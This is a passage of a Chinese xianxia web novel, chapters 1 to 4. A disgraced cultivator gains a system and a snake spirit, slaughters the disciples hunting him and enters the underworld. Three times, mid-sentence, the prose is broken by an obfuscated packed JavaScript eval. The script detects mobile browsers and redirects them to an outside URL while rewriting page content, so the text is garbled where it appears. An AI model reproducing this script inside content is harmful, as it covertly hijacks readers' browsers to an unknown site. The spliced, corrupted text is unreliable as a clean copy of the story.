《直男龙傲天也要被压么》 1. 第 1 章 冥山是断开仙冥两界的天堑,常年负雪,高耸山脊劈开薄雾,走势蜿蜒,直指冥界。 在这往日荒无人烟的清修之处,一声讥嘲却刺破了宁静,惊起崖间停憩的鸮鸟,扑簌簌雪落一地。 “宴大天才怎么不逃了?” 却见雪色山巅之上,一众弟子重重围住宴焱。 整齐的仙家白袍为风所动猎猎作响,冷剑出鞘,直指宴焱,剑尖烁着寒芒。 中间齐齐别开了道空隙,侧余弟子躬身相送,刘生从中缓缓踱步而出,居高临下的行至宴焱跟前。 宴焱不语,对刘生的讥嘲置若罔闻,只是径直把剑插入嶙峋石缝,半倚剑身,沉沉的阖了眼。 刘生倒是对宴焱缄默的模样见怪不怪,冷哼了一声,继续拖着长腔道: “堂堂九阳剑骨怎么沦落如此境地,宗门内几个金丹弟子就能把您逼成这样……” 刘生顿了顿,戏谑的挑眉。 “哦,不对——是我记岔了,您不是九阳剑骨,而是……九转灵体!” “哈哈哈瞧他那模样,真以为他还是原来那个九阳剑骨吗?” “是啊,要不是宗门当初看花了眼,这种货色怎么能进得了内门?” 一众弟子附和着哄堂大笑,笑音尖锐。 冷冽的风刮过山巅,扬起宴焱泣血的红褙。他指尖抠入皮肉,腻下一道冷色的掐痕。 世人皆知,九转灵体和九阳剑骨,同是万里挑一的体质。 可一个是令人尊崇的天生剑骨。 ——另一个却只能做修仙界最为低贱、任人宰割的废柴。 见宴焱还是默不作声,刘生有些烦了,一挑剑,迫使宴焱抬起头来。 “宴焱,别再做你的春秋大梦了! “当初陲云宗招你入内门也只是因为误判了你的根骨,还以为你是第二个云梧呢。可如今你根骨已然明了。你根本无法修剑!你还是老老实实留在少宗主身边吧。” 说着,刘生剑峰一偏,狎昵的划过宴焱的侧脸。 “就凭你这脸,说不定日后还能……” 他的话语未尽,可词句分明轻佻。 宴焱蹙了蹙眉,隐约觉得刘生这话另有歧义,却不知错处在哪。他蓦地睁眼,眼神锐寒的划过一张张幸灾乐祸的脸。 那些人里,不乏有他初入内门时献媚讨好的。当初一口一个宴师兄,而今却成了围堵截追他的一员。 真是可笑。 眼见着弟子们步步紧逼,宴焱攥紧了手中半朽的木剑,冷喝一声: “现在后退,我且念旧情,放你们一条生路。” 众弟子一顿,紧接着爆发出一阵更为尖锐的笑声。 “不是哈哈哈,你还在做梦啊?” 刘生更是笑得直不起腰来。 在他们看来,宴焱已然逃无可逃。 身后的悬崖之下,便是九曲盘旋的往生河。生人堕入冥界,往往是被幽魂吞食,元神俱散。 失去九阳剑骨的宴焱灵力微薄,是任人宰割的羔羊,只待刘师兄抓他回去复命,届时他们都能从少宗主那得到好处。 弟子们笑作一团,仿若听到什么天大的笑话。更有甚者出言不逊。 “这会儿嘴硬,等到了少宗主的床上看你怎么硬气?哈哈哈。” 就在他们乐此不疲的讥嘲之时,蓦地,苍穹被赫然撕开一道裂口,识海传来金石相撞之声,巨大卷轴凌空横亘: 「恭喜宿主解锁章节:三十年河东,三十年河西,莫欺少年穷」 「即将解锁灵体」 卷轴轻闪,一个肥硕的小光球扑扇着短翅,‘哼哧哼哧’冲出卷轴,熟门熟路的停在宴焱的肩头,掐尖了嗓,冲着人群高嚷: “船?什么船?就凭那个炮灰少宗主还想把你龙傲天爷爷绑去偷渡?等会有你们好看的!” 系统的声音聒噪尖细,委实是一大利器。 只可惜其余人都听不到,白白吵扰了宴焱。 “刷牙了吗?好浓重的口臭。” 宴焱拧眉,恝然出声。 不知是在说眼前弟子,还是在说系统。 可刘生耳朵尖,自动对号入座,气急,三步并作两步上前来,手成利爪状,携带着灵力流狠狠袭来。 “宴焱,我看你是敬酒不吃吃罚酒!” 本来少宗主交代了不要伤宴焱的脸,可此刻的刘生已然顾不得这么多了。 当初宴焱入陲云宗内门时,借着和蜀道剑宗云梧一样的九阳剑骨,那叫一个众星捧月,煞羡旁人。 陲云宗只是个薄州三流势力,和六界第一的蜀道剑宗比起来简直是小巫见大巫。 宴焱一个九阳剑骨若是成长起来,托举陲云宗冠绝薄州,甚至是跻身六界一流宗门都指日可待。 宗主甚至要考虑另立少宗,来留住宴焱这等人才。 那时的宴焱光风霁月,众弟子能和他搭上一句话便是荣幸了。再加之宴焱又长了张惑人的脸,门内瞻仰追从者无数,刘生想见宴焱几面都是奢侈。 而今宴焱一朝沦落成废柴,只因不应少宗主的条件便被狼狈的追杀至此。面上却还是那副门内风轻云淡的模样,连看他刘生一眼都不肯!! 叫人只想折了宴焱清高的脊梁再走! 刘生的袭击带了十成的力道,直击宴焱面庞而去。 可下一秒,原本灵力枯竭的宴焱却轻轻一躲,闪过了刘生的招式。 “我说了,后退,能放你们一条生路。” 宴焱轻叹了口气。 “好你个宴焱,今日我就要教教你什么叫审时度势!!” 这一躲,叫刘生愈发狂躁了。接二连三的灵诀打来,爆裂的灵流炸开道道金光,犹如雷霆万钧。 就在迸发的金芒要触到宴焱鼻尖时,他微微侧头,灵流险险擦过他的面颊,留下一点艳红。 很奇怪,宴焱的身上分明没有半点灵力,却四两拨千斤的避过招式。 又是一招凌厉的穿云爪。 还是被闪过了。 刘生眼神一狠,蓦地回头,对着弟子们爆喝一声。 “愣着干嘛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258151|166460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,给我上万剑阵啊!” 众弟子们面面相觑,有人从中犹豫开口: “可是刘师兄,少宗主他要活人……” “我再说一遍,开万剑阵!!” 刘生咬牙切齿,阴冷的瞥了眼开口的弟子。 众弟子们一个哆嗦,纷纷抬手捏诀,密密麻麻的剑群同时升空,成围堵之势,剑锋直指宴焱。 “看你往哪逃!!这万剑阵法可是连元婴修士都躲不掉!” 刘生回头冷声狞笑,同时抬手起阵。 随着他一声低喝,最中心的灵剑被注入了一道灵流,迅速膨胀,巨大剑身屹立山巅。 下一秒,巨剑骤然四分五裂成无数柄灵剑,加入了剑阵中,铺天盖地的灵剑横亘苍穹,形成一道黑压压的阴翳。 这是想把人万剑穿心!! 宴焱半阖的眼帘掀起,一只冷白的手探出红袖,支着剑,摇摇晃晃的站起身。 “真是的。”他喃喃低语。 “非要闹成这样吗。” 刘生等人的有持无恐并非没有缘由。 六界生灵,若要踏入修仙之路,必定要有能凝聚灵力的根骨。而根骨的优劣也是靠着凝聚灵力的能力来断定。 譬如最为上乘的九阳剑骨,凝气入体后便可直接跨越炼气,迈入入筑基中期。不但如此,剑修的剑意、佛修的禅意等道意的领悟能力也和根骨有关。 照常理来说,九转灵体连一招灵流攻击都发不出,更别提领悟晦涩的剑意了。偏偏其根骨品相和九阳剑骨相差无几,极易误判,才落得这一番闹剧。 但常理是用来解释普通人的。宴焱可是苗根正红的男频爽文主角。 万人唾弃的九转灵体落在他身上,便成了能御万灵的绝佳根骨。 「恭喜宿主,倒计时解锁契约灵体:3、2……」 随着电子提示音逐渐急促,高涨的灵力流忽地从山脚席卷而上汇聚山巅。刹那间,白浪掀天灵流涌注,有摇山振岳之势! 山体颤颤,犹如地龙咆哮。雪色崩溅,隐隐勾出一条盘旋的轮廓,似有什么要从地底下钻涌而出! “不好!!!” 刘生瞳孔巨颤,连舌根都在发抖。 “是冥山山灵要现世了!” 怎么可能?!!冥山山灵是万年灵体,天下无灾,它怎么会忽然异动呢? “快逃!!” 被带有灵流的雪崩吞噬只有死路一条,刘生第一时间散开剑阵,御剑要走。他也顾不得什么宴焱了,满脑子里只有逃命二字。 “怎么回事?!冥山山灵为何现世了?” “别管了,快走!” 众弟子逃的逃,跑的跑,手忙脚乱的掏出自身防御的法器,剑阵乱作一团,乌压压的一片散开,根本没人再顾得上宴焱这一介废柴。 「1」 最后一声倒计时落地。宴焱静漠垂眸,划开指尖,一点血珠顺势落入雪色之中,眨眼浸没。 提示音同时响起。 「已解锁契约灵体:冥山山灵」 2. 第 2 章 宴焱蓦地闭眼,顺势打坐捏诀。 原本混沌的神识海中忽地出现了一座盘结状的山脉,通体雪白,远看像一条休憩的雪蟒。 宴焱伸出手,饶有兴致的在蛇头的位置撸了撸,触感冰冷黏腻,还不错。 不枉他费尽心思选在冥山解锁系统颁发的任务,才得到了这么一个宝贝。 宴焱初期的修为不高,元神强度只够契约一只灵体。本来系统的任务他早便能完成,可因为陲云宗方圆百里没有适合的灵体,宴焱才硬生生的忍耐至此。 如若万千灵体是剑,九转灵体就是执剑人。其本身无法凝成灵流攻击,却能操纵灵体。但驾驭灵体的时辰也受制于宴焱的修为。 而今宴焱只是区区炼气中期,能操纵灵体的时间只有短短几息罢了。 可对付几个喽啰也只需须臾。 识海放大,雪白山体之上赫然缀了几个四处逃窜的小白点,宴焱不嫌麻烦的一个个将他们捏了起来,拽回了山巅。 原本四散而逃的众弟子们忽地被一股灵力捆成一团,狠狠吊拎了起来,高悬在崖巅,有人早已吓破胆子,哭喊着向山灵讨饶。 山灵一贯不出世,这一手也是出乎他们意料之外。本来宗门觉得收拾个宴焱用不着牛刀,派得也是些骄养的内门子弟。 陲云宗在薄州陲云边也算一方地头蛇,门内弟子飞扬跋扈惯了,拉下脸面来求饶想来还是第一次。但颇有天赋,个个耷拉着脸,求爷爷告奶奶,一群人丑态百出,毫无方才威风的模样。 一声低叹打断了众人的嚎哭。 “早让你们退,你们偏不听。” 刘生被捆在最前面,瞧得最仔细,腿抖得幅度也是最大的那个。 他本还在面露恐惧的求饶,心底也没底,一瞧见从雪地里缓缓走来的人,求饶的话也被堵在舌尖,像是被人捏住了咽喉,目光呆滞。 聒噪的众人也骤然像是被泼了一盆冷水,哑火了。 溅起的雪雾散去后,本该被雪崩吞噬的宴焱矗立原地。 他身形单薄颀长,瘦削的腰部收归于一笔白玉腰封,一袭黑衣红褙似火,烈烈烧开了此处荒凉的雪色。 宴焱一贯是面无表情,所幸他生了一副好脸,鸦睫唇红,骨肉停匀,单是站在那就叫人赏心悦目。 这会儿他眼帘微掀,玩味的视线落在数张惊恐失语的脸上,细细观赏了会,最后长长叹道: “可惜了,众师弟们,我本想念着旧情的。” 话音叹惋,齿间留情,若不是那青丝挽落下的美人面略带戏谑,刘生真要信了他的鬼话了。 似是在回应宴焱的话,山灵化出的雪蟒吐了吐细长的蛇信,金色竖瞳烁着森冷的光,浓重的腥气喷了弟子们满身。 怎,怎么可能?! 他这个废柴,怎么能驱使山灵?! 有弟子的脸顿时变了数遍,审时度势的开始告饶: “是刘师兄逼着我们这么干的,求求您了,放了我们吧,要杀就杀刘生!!” “是啊,宴师兄,是先前我们有眼不识泰山!!要不是刘生我们也不会如此!” 一人起头,其余人也急忙跟着开口,将锅尽数推到了刘生一人身上。 可千夫所指的刘生已然顾不得底下人的叛变了,他只是失神的大叫: “不可能,这不可能!!” 说着这话,他抖着腿,颤颤巍巍的,眼看着就要失禁。 腥臭登时蔓开雪地。 宴焱微不可察的蹙了蹙眉,视线扫过一张张虚伪至极的脸,看着他们费劲口舌再次上演反目戏码,连最后一丝观赏的兴致也没了。 世道浇漓,人心不古,不过如此。 他微微抬手,雪蟒听话的血口一张,崖巅蓦地炸开一团血雾。 此地终归宁静。 宴焱这才舒坦展眉,整了整窄襟,又将濡血黏腻的发拢在耳后,转头将视线落向了盘绕的雪蟒。 冥山山体状似巨蟒,所以山灵也化作一条雪蟒。 灵契一旦签订,山灵能发挥的实力就很大程度上依赖宴焱的境界。 宴焱炼气期修为实在难为雪蟒。而今刚刚吞噬完一堆修士的雪蟒筋疲力尽,蜷缩着身体,化作了拇指宽的细蛇,颤颤巍巍的爬了过来。 “委屈你了。” 宴焱俯身,探出一截雪白的腕子,由着雪蟒攀绕而上。 “你今后就叫溟吧。” 溟听话的点了点头,缠着宴焱细腕的蛇身一紧,骤然又化成了一条白色骨鞭,鞭首成蛇头骨状,嶙峋蛇骨成了鞭身天然的倒刺,烁着寒芒。 宴焱略有些惊诧的抚过蛇骨。 “原来这才是你的本体。” 但他转念一想,却了然。冥山是地处仙冥交界的两界山,想来这山灵应当是冥界的上古神兽,才会有这样的形态。 他指尖一挑,将溟挂靠在了耳边青丝上,溟顺势咬住发丝,骨鞭便嵌在三千乌发间。 旁人若是不细看,只以为是带了一条细长的银链,随着步履轻晃。 一直躲在宴焱身后的胖光球也麻溜的滚了出来,叽叽喳喳谄媚道: “宿主威武,宿主霸气,宿主不愧是龙傲天本天!!” 宴焱眉心重重跳了三下。 又来了。 “聒噪,再吵把你喂溟。” 自打宴焱穿越,这个自称「龙傲天培养系统」的光球就找上了门。 胖光球一找到宴焱便开始痛哭流涕,嘴里说着什么宿主我对不起你之类的话。 待到宴焱不耐的听它哭嚎完,问它缘由时,它才支支吾吾的交代。 原来,宴焱本是某点男频排行榜第一《剑问九霄》的男主。直男读者们因为过于不满作者的更新速度,庞大的怨念化作了胖光球,前来推进剧情,助力宴焱问鼎天下。 可胖光球是个系统新手,一通胡乱操作之下,居然把宴焱投放错了时代! 而今的世界版本里,可是存在着另一位原生的天命之子──《求道》的男主云梧。 尤记得系统讲到这里时崩溃哽咽了许久,宴焱都有些被它哭奇怪了,追问道: “有另一位男主又如何?我走我的阳关道,他走他的独木桥。我照样能问鼎天下。” 系统吸了吸鼻涕。 “宿主啊,你有所不知。我们某点男频可是最忌讳有两个男主,俗话说的好,一山不容二虎啊,气运只有那么点,有你就没他,有他就没你。” “就拿您的九阳剑骨来说吧,此等冠绝天下的根骨,天道只会容许有一个人拥有。宿主您来得晚,恐怕根骨要保不住了呀!按照现在的剧情逻辑,说不定就要被分配当九转灵体了,您就修不了剑了,那这书还叫啥剑问九霄啊!!” 彼时的宴焱凝眉,面露稍许不愉。 他的确喜欢剑,剑道之于他意义非凡。不能修剑,委实是一大憾事。 “如今你们二人境界低,天道尚且能够容纳。但是你们二人境界越高,愈发不可相融,天道一定会决出一位存活下来的,宿主最好还是早些出手解决这个心腹大患!” 系统苦口婆心。 那时的宴焱颔首应下,心里也记下了‘云梧’这个名字。而后历经陲云宗一事,‘云梧’而字更是犹如附骨之疽,时刻警醒宴焱。 系统提供的金手指有限,只能在解锁特定小说情节后,根据读者爽度和剧情进度颁发奖励。但也难违天道,奖励更多时候只能对宴焱进行幸运max加成和剧情指导,成不了什么大事。 前有薄州势力虎视眈眈,后有‘云梧’之患。系统当初预料的不错,这九阳剑骨果真未保住,而新长出的九转灵体筋脉尚且堵塞,修炼进程奇慢,难有寸进。 溟的实力虽强,但一次出手之后,所需恢复时辰也漫长。 旦夕之危,还是得靠自己。 思绪收束,宴焱将视线落向崖边。 从这往下望,只得窥见浓郁的灰雾,黑洞洞的深渊仰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258152|166460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张巨口,迫不及待的要将来往生灵一口吞噬。 溟难耐的蜷了蜷尾巴,朝着深渊处探去。 “你想下去?” 宴焱掐住它乱动的尾巴。 冥山崖底便是联通仙冥两界的关隘。冥界灵气浓厚,的确适合溟好生修养。 危机四伏的薄州他是不能呆了,如若不回仙界薄州,能安心修炼之地也只有冥界了。 “系统,接下来我要去冥界。” 系统一听,乐颠颠的闪烁了会,道:“冥界好冥界好,冥山崖底经典位置,天道肯定会给咱机遇的!让我翻翻书,好像有个叫万啥莲的,可以让宿主您筋脉疏通……” 宴焱微微颔首,算是同意系统的话了。 他一扯臂上红绳,将凌乱的发丝高高竖起收拢。 旋即脚一抵,后侧半寸,一手掐着蛇尾,一手捏住还在碎碎念翻书的系统,不顾系统骤然变调的尖叫声,轻踏几步,纵身飞跃下悬崖。 眼前景色迅速被浓郁的灰色笼罩。 俄顷,灰雾散去,面前骤然出现一条巨大河流的截面。流水九曲,远看如一条盘桓巨龙,匍匐于天地之间,一呼一吸,皆是潮涌。 盏盏骨莲浮于河面,荧光烁盛,承载万千往生的苍灵。波平则静悬,波涌便借力上浮,待至万壑之源,六界交汇处,万灵方可入轮回。 这便是往生河了。 “宿——啊——主——慢——” 系统大张着嘴,似乎想嚎些什么,只可惜迎面呼啸的风灌入口中,将字句冲得东倒西歪。 宴焱没理,而是抓紧这罅隙,凝神细看冥界大致地貌。 远处大地无边无垠,多山崎岖。土地之上多了盘杂繁叠的细流枝干,像是大地密集的脉搏。细水从地起,终汇成一条磅礴大河。 这往生河水不同其他河流,一贯向上奔流,整条河流走势也是盘旋上行,直指六界轮回之地。 宴焱半只脚刚踏入冥界辖域,登时招来了无数幽魂冤鬼。 它们从虚空中凝实出道道虚影,雾状的灵体们尖啸着,从四面八方汇聚而来,贪婪利爪探向宴焱,碎碎念此起彼伏: “好香好香好香好香。。。” “他为什么会这么香?好想接近啊啊啊啊啊啊。。。” 宴焱没料到自己的灵体还有吸引冤鬼的奇效,凝眉,二指蓦地并起,快速捏诀,护住丹田心脉等要害处。 可灵体的动作出奇的快,一下儿就扒上了宴焱的身子,这一只那一只,浑实的爪子偏偏还不老实,抓靠着宴焱瘦削的腰肢,往丹田处探去。 溟迅速膨胀,又幻化出雪蟒的形态,细细的裹住宴焱。金色竖瞳冷芒烁烁,吐着蛇信,发出低胁的‘嘶嘶’声。 有幽魂胆敢触碰到宴焱衣角,都会被溟不客气的一口吞食。 一口一个,嚼得嘎嘣脆响。 大抵是宴焱太香,前仆后继的魂怪无数。溟放开了肚皮,这吃吃那吃吃,不亦乐乎,最后还意犹未尽的打了几个饱嗝。 灵体都是些有眼色的主,见状,纷纷避开了数尺的距离。仍然有不怕死的依旧暗中觊觎,也被溟森冷的一眼逼退。 万丈高空很快落尽,幸亏冥界不讲牛顿重力,宴焱落地后翻身几周,便很快稳住了身形。 溟也顺势缩小身体,埋入了发丝间,继续潜伏。 系统却没有天道眷顾,跟个小炮弹似的砸入了岸边的细沙堆里,溅起半丈高的沙雾。又结结实实的滚了几圈,这才摇摇晃晃扑腾起身。 “呕,宿主,呕,我们终于到了,呕,下次跳崖能不能,呕呕,早点说。” “下次一定。” 宴焱言简意赅。 状似满怀歉意,实则连一寸视线都没落在系统身上。 系统甩了甩短翅,满怀怨念的瞧着从万丈高空坠落居然连发型都不乱、浑身仿若散发着淡淡【男主bking金辉】的宴焱,又嘟囔了几声男主虐待系统,还是老老实实的跟了上去。 3. 第 3 章 男主光环又一次发挥了作用,他们落地处的浅滩附近并未驻守实力强大的冤魂。况且冥界魂灵昼伏夜出,白日也没有太多冤鬼出没作祟。 系统跟在宴焱身后任劳任怨的继续翻看原著。 “宿主,向东南走就是万年魂莲的方位了。” 宴焱颔首。 万年魂莲能使白骨生肉死者复生,万年才一次花期。冥界这颗万年魂莲已然有三万载,灵气更加凝实,是难得的至宝。 冥界多山,重叠嶙峋的山石难以探清前路。若不辅以灵器,弯弯绕绕几天在一处峡谷中出不来也是常有的事。 彼时的系统拍了拍胸脯,自觉英勇的挺身而出。 迷津重峦之地,这不是它身为男主金手指的绝佳表现机会吗?! 于是它短翅威武的横指一方,洋洋道:“宿主您尽管往那走!那处不光有地能让您清修,或许还能有红颜情缘呢!” 它一面说着,一面同宴焱猥琐的挤了挤眼。 宴焱不住的后退半寸,迟疑道:“首先,我对红颜不感兴趣,眼下还是修炼为重。其次,你确定那能走?” 系统顺着自己指向的地方望去,骤然沉默了。 前方赫然一道拔地而起的天堑,崖壁笔直,隐隐有幽魂冤鬼咆哮之声。 “呃哈哈哈,不好意思,重来,刚刚看错方向了。” 系统尴尬一笑,重新指了条路。 这次倒是能走了,宴焱将信将疑的跟了上去,没过一会儿,一人一蛇一统看着面前熟悉的崖壁,齐齐陷入沉默。 “……统,原来你说的清修之地,是这里?” “哈,呃,意外意外。”系统打了个哈哈,岔开话头,又指了条路。 这回剧情终于正常了点,小路崎岖不平,但好歹没绕回原路也没碰上什么天堑。 越过几个狭隘的山穴之后,眼下骤然开阔,是一片树木林立鬼气冷重的寒森。系统自信的往里指,宴焱也游疑的往里跟。 寒森岑寂无人,只有宴焱轻踏枯叶的窸窣响动。重复变换的树木,连只老鸹也无。 一切异响都被吞噬在寂静中了。 宴焱向来有耐性,虽心怀戒备,却还是向着无人静谧的森林内部进发。冥界草木喜阴,叶面向下,处处有倒垂之感,细看之下,树皮森森,泛着冥气化成的荧光。 偏偏植被长得又高,细长的树干直冲天际,在树冠处突兀延展开伶仃几个枝干,瘦削干瘪,像是枯爪,狰狞的张在半空。 树根处头骨堆叠,头骨大部分深嵌在土壤中,只露出空洞洞的眼眶,仿若仍在仰望苍穹。想来是生前血肉被当作养料吸收,徒留白骨森森。 宴焱稍不留神,踩了一脚,骨头倒是挺脆皮,干脆利落的便碎成块状。 “冒犯了兄台。” 宴焱默默收回了脚。 一人一蛇一统缄默着赶路,都想早些从这处出来。 可直至暮色将围,别提寒森尽头了,连个鬼影子都没见着。加之寒气浓重,可谓瘆人。 夜晚的冥界才是狩猎的开始,失去了阳光的庇护,若是不能再寻到庇护所,依照而今这二弱一脑残的组合形式怕是要有一夜鏖战。 宴焱自是不想把有限的精力耗费在此,对于系统的不靠谱也有点担忧,驻足,戳了戳肩上的光球,问道: “你这一路也没往东南方向走,这般路径到底能不能在天黑寻到庇护所?若是不能寻到庇护,我们先行离开也好,此处凶险。” 系统压力颇大,它企图用短翅擦虚汗,但失败了。 “按理来说是可以的,但是,但是……” 一丝不好的预感在宴焱心中升起。 “但是什么?” “这个嘛……”系统目移。“不是啥大事,就是这个定位不知为何两个时辰前失灵了,不过应该很快就能好……吧。” 宴焱呼吸一滞,强忍把系统胖揍一顿的欲望,道: “两个时辰前我们刚刚进寒森不久,所以这一路来你都在瞎指?” 系统装死。 宴焱把它拎了起来。 “死人机说话?” “您拨打的电话暂时无人接听,请稍后再拨。the number you call is……” 宴焱露出一抹阴冷的笑,他放弃剑修的路子后,皮肤便愈发白皙。 乌发白肤,眉眼俊艳,红褙黑衣,乍一看格外鬼气森森。 系统没来由的打了个寒战。 “你要是不想成为那堆白骨中的一个,就别给我装死。” 系统一个立正,弹了起来。“宿主你说笑了我怎么会装死哈哈哈不要小瞧我们之间的羁绊啊。” 一面说着,系统一面加速扑扇着翅膀,企图从宴焱手里逃脱。可惜它太胖了,本来凑出点罅隙,宴焱虎口一掐,又被捏在了掌心,溢出一摊肉。 见逃避不成,系统只好讨好求情道:“宿主啊,我也没料到这回事发生呀!肯定是深山老林信号不好,我就寻思着多走走就能找到信号了,总不可能是您气运不好吧哈哈哈……我们总能找到出口的。” 可说着说着,系统的声音却逐渐弱了下去,电子屏幕的表情忽然变成了两个瞪得硕大的圈。 宴焱一皱眉,不懂系统又在搞什么幺蛾子,不客气的把它拎起来晃了好几圈。 “装什么呢?” 系统在风中被晃得头晕目眩,不知是不是宴焱力道太过,竟连声线也发了颤: “宿主啊您,您的发型怎么乱了?……” 发型? 宴焱疑惑的摸了摸自己高束的乌发,不明所以。 却见规整熨贴的束发竟有了丝丝凌乱:鬓发被微汗濡湿,头顶俨然出现了两撮不甚雅观的呆毛。 这可是连万里高空都无法撼动的男主造型!怎会在这寒森走了两步就散乱不堪?连【男主bking金辉】都有所减弱,缥缈得好像要随风散了般。 除非……是气运真的少了。 乌鸦嘴的系统双目一闭,这会不用装,硬硬的像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258153|166460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经去世了好久。 天道向来偏爱天命之子。作为《剑指苍穹》的男主,按照常理而论,宴焱的气运是无论如何都不可能被削减的。 但很可惜,现在有两个男主。 两虎相争必有一胜,天道也会偏心眼。云梧作为世界原生的天命之子本就占优,遑论而今他的修为是要比宴焱高出不少。天道而今偏爱他,也算是意料之中的事了。 本来六界之大,宴焱云梧天各一方,境界不高的情况下,气运影响少之又少。系统本想和宴焱一起苟一苟,可如今这么明显的削弱,只可能是最坏的一种情况了…… “宿主小心,云梧应该在附近……靠近他,您的气运会减少……”系统撑着最后说完这番话,就伤心得死机了。 像是在佐证系统的‘遗言’,宴焱眉梢一皱,凝神细细探查了番自身灵脉。原本便堵塞的筋络竟然有了收束成结的趋势,连微弱的灵流也透不过了。 他是个聪敏的,听了系统这番话,立马明白了问题的归结所在。 云梧云梧云梧。 ……又是他。 宴焱沉沉吐了口气。 眼见日薄西山,光亮逐渐稀释在山的那头,昏沉暮色铺天盖地的涌来。 不知是不是宴焱的错觉,森中隐隐传来细碎的声响,四面八方,密密麻麻,像是有什么不安分的东西在地底下涌动着。 溟也察觉到了不对,从发丝间仰起头,警惕的张往四周。 照系统的计划,他们本该在黑夜前寻找到庇护所,并取得能让宴焱筋脉疏通的宝物万年魂莲。 果然人倒霉起来连喝凉水都塞牙缝,筋脉未疏通也便罢了,偏偏还被丢在了凶险异常的寒森里。 宴焱并不是个喜爱抱怨的人,察觉而今处境艰险后,立马一合掌,并指捏诀,用为数不多的灵力护住要害。溟顺势盘绕而上,鞭身缠绕小臂,蓄势待发。 寒森广袤无边,快速出去显然不可能,眼下只能尽量留存精力,熬过这个夜晚。 远处忽地传来一群寒鸹嘶哑的叫声,旋即是树林扑簌簌的抖动。 宴焱抓握鞭柄的手一紧,警惕的望向四周。 却见下一秒,面前的枝桠猛然开始抽动生长,瘦瘪的树干瞬间膨胀变大,将原本宽阔的道路填满,虬结的枝干拧成一张巨掌,朝着宴焱飞速袭来! 宴焱当即抽开骨鞭,朝着巨掌狠狠甩去,同时借反冲着力,疾行,迅速拉开数米距离,心中暗道一声不好。 这气息森然,怕是元婴以上的魂灵在背后操控! 又是一掌紧接着拍来,宴焱闪身,险险躲过。溟化作的骨鞭尾部一甩,朝着高处挂去,顺势将宴焱又带出几米的空隙。 巨树不依不饶,随之膨胀的树木越来越多,如影般紧紧跟在宴焱的身后,大地隐隐震颤,膨胀的树根将地面堵死。 树枝化作的大手一掌接着一掌,密密麻麻的交错涌来,攻势逐渐疯狂。 光亮稀薄,逐渐被黑暗吞噬。 天,彻底黑了。 4. 第 4 章 宴焱咬牙,低处的土地被膨胀的树根占满,他只得被迫往高处行去,脚尖轻点,抵住高处枝干,奋力跃开一寸,躲开袭来的虬枝。 随即手腕一翻,骨鞭一甩,尖锐骨刺处直击枝桠薄弱处,迸裂开道道火花。 骨刺呈倒弯状,奋力抛开时便可紧紧勾住树枝皮肉,再一扯,便将结节勾连处拉扯断裂,整个巨掌登时分崩离析! 断裂在地的枝干像是离水游鱼般扑腾拍打着地面,但很快暴起的树根吞噬了碎裂的枝干,又有新的枝桠在树干处抽开长条,一条又一条,飞速生长,拧成一股绳,绳又成掌,继续呼啸着朝宴焱袭来。 如此粗笨的木头,速度却出奇快!! 宴焱只得尽力躲闪,奈何整片寒森密密麻麻皆是树木,宴焱所到之处,它们就和生了灵智般自发的长出巨掌。 更有甚者,三五成群成包围之势,意图要将宴焱堵死在划定的区域内。 能操纵这么多树……究竟是什么鬼东西在作怪? 宴焱一面侧开身,疾行,一面争分夺秒的观察着树木生长的形态。 虽说巨掌的行径速度很快,但再生的速度较慢,若是能在短时间内将其击碎,或许能争取到逃离的罅隙! 又是凌厉的一鞭破风而去,骨鞭浑身裹挟致命的灵流,使了巧劲,以刁钻的角度抽向树皮缝隙,只是一鞭,袭来的木掌瞬间碎裂! 弱处找到了! 宴焱一喜,快速甩开道道鞭影,抽打在缝隙之上,潮起涌状的巨掌接连破碎,断裂声四起。 正如宴焱所料,巨掌的再生速度不快。一时间断木四地,新生的速度赶不上宴焱骨鞭甩动的虚影,万手截路,愣是被宴焱硬生生撕开一条生路来。 叶面朝阴,多数树木朝西长,宴焱瞧准了时机,朝着东南方向急速掠去! 树木一见宴焱要逃,发了狂,地面震颤不已,千掌层叠奔来,极力追赶而去。 虬结黑木如同潮涌,一截接着一截的扑去,却愣是追不上一点儿宴焱的衣角。 眼看着前方树林逐渐稀疏,似乎要探到了寒森的边界,宴焱一甩长鞭,便要彻底甩开追击的树木一截。 忽地,他脚踝上猛然腻上一层冰凉。 那力道强劲,不由分说的就要将宴焱往回拉。溟受胁般的发出‘嘶嘶’声响,竖瞳紧缩,怒盯下方。 宴焱顺着溟的视线往下望去,喉头一滚,心骤然冷了半截。 抓握着他脚踝的赫然是只骨节分明的大掌,指节苍白,扣着宴焱脚踝的指尖隐隐泛白用力。 